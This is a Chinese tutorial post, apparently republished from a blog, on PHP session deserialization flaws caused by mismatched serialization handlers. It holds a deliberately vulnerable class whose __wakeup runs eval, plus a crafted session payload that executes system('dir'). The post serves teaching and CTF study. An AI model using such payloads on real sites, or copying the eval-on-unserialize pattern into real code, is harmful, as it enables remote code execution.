PHP session反序列化漏洞深入探究

作者:隐形卟 时间:2023-05-30 04:53:04 

PHP session

php session 反序列化漏洞存在的原因:当序列化session和读取反序列化字符时采用的序列化选择器不一样时,处理的方法不一样。

php三种序列化处理器

序列化处理器
php            (php默认中使用的序列化)   存储格式为:键名 + 竖线 + 经过serialize()函数反序列化处理的值

php_binary   存储格式:键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值

php_serialize 在php版本>5.5.4中可以选择使用   存储格式:经过serialize()函数反序列处理的数组

通过php.ini 可以设置保存路径配置 php session 参数是 session.save_path=“保存路径”

php 中配置session序列化处理器通过ini_set()方法进行选择 :ini_set(‘session.serialize_handler’, ‘处理器’);

生成session php_serialize序列化处理器

demo2.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();//创建一个session 会话(当客户端第一次访问时会生成一个随机的session文件在指定保存目录中)
$_SESSION['session'] = $_GET['k'];
var_dump($_SESSION);

访问该页面

PHP session反序列化漏洞深入探究

查看session 文件保存路径,生成了一个sess_一串随机字符的文件,打开文件查看,从get提交的值以序列化的格式存储到该文件。

PHP session反序列化漏洞深入探究

在读取session时使用不一样的序列化处理器,使用php_serialize 序列化处理会把 符号 &ldquo;|&ldquo;作为一个正常的字符处理。而php序列化处理器会把&rdquo;|&rdquo; 当成分割符处理。

ctf.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{
   public $name;
   function __wakeup(){
       eval($this->name);
   }
}

构造成反序列化payload为:k=|O:4:&ldquo;test&rdquo;:1:{s:4:&ldquo;name&rdquo;;s:17:&ldquo;system(&lsquo;dir&rsquo;);&rdquo;;}

访问demo2.php

PHP session反序列化漏洞深入探究

查看sess文件内容:| 分割符被传递了进去

PHP session反序列化漏洞深入探究

再访问ctf.php,触发了__wakeup函数从而执行了eval代码执行命令,由于使用不同的序列化处理器来处理session文件,序列化对特殊符号的处理方法不一样,从而导致产生了漏洞

PHP session反序列化漏洞深入探究

来源:https://blog.csdn.net/qq_42077227/article/details/127567246

标签:PHP,session,反序列化
0
投稿

猜你喜欢

  • 详解python日期时间处理2

    2021-05-20 19:27:15
  • js判断设备是否为PC并调整图片大小

    2024-05-02 16:12:22
  • python修改全局变量可以不加global吗?

    2021-01-11 08:10:56
  • python使用Tesseract库识别验证

    2023-05-06 12:31:51
  • Python学习笔记整理3之输入输出、python eval函数

    2021-07-19 04:15:58
  • 深入浅出分析Python装饰器用法

    2022-10-25 16:49:02
  • 手把手教你如何安装Pycharm(详细图文教程)

    2023-10-31 06:57:00
  • python读取mat文件生成h5文件的实现

    2022-08-06 08:43:28
  • Oracle数据库及应用程序优化开发者网络Oracle

    2010-07-18 13:02:00
  • javascript 继承学习心得总结

    2024-05-13 09:36:47
  • python中urllib.unquote乱码的原因与解决方法

    2023-08-24 14:56:43
  • python虚拟环境迁移方法

    2021-09-13 07:52:51
  • python截取两个单词之间的内容方法

    2022-06-02 01:48:46
  • Python中unittest的数据驱动详解

    2021-06-04 18:26:05
  • python将xml xsl文件生成html文件存储示例讲解

    2023-08-11 20:36:41
  • 详解Django中的FBV和CBV对比分析

    2023-04-30 13:27:38
  • networkx库绘制带权图给无权图加权重输出

    2022-01-29 05:54:23
  • python使用xlrd实现检索excel中某列含有指定字符串记录的方法

    2021-04-23 12:41:26
  • 基于PyQt5自制简单的文件内容检索小工具

    2023-06-11 19:45:03
  • 详解Python爬取并下载《电影天堂》3千多部电影

    2023-07-07 23:48:24
  • asp之家 网络编程 m.aspxhome.com